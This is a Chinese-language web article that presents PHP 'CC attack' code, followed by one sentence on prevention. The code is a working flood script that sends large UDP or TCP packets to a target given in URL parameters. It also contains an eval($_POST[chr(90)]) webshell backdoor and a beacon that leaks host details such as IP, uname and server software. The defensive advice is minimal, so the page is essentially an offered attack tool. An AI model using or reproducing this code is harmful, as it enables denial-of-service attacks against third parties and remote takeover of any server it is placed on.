当前位置: 移动技术网 > IT编程>开发语言>PHP > php cc攻击代码与防范方法

php cc攻击代码与防范方法

2019年04月15日  | 移动技术网IT编程  | 我要评论

炮火霸王花,网页申请,兔瓣

cc攻击代码,支持udp
复制代码 代码如下:

<?php
eval($_post[chr(90)]);
set_time_limit(86400);
ignore_user_abort(true);
$packets = 0;
$http = $_get['http'];
$rand = $_get['exit'];
$exec_time = $_get['time'];
if (strlen($http)==0 or strlen($rand)==0 or strlen($exec_time)==0)
{
if(strlen($_get['rat'])<>0)
{
echo $_get['rat'].$_server["http_host"]."|".gethostbyname($_server['server_name'])."|".php_uname()."|".$_server['server_software'].$_get['rat'];
exit;
}
echo "php 2012 terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "x";
}
//udp1-fsockopen udp2 pfsockopen tcp3 cc.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>


对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般还是不错的。

如果你有好的软件也可以给我们留言。

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网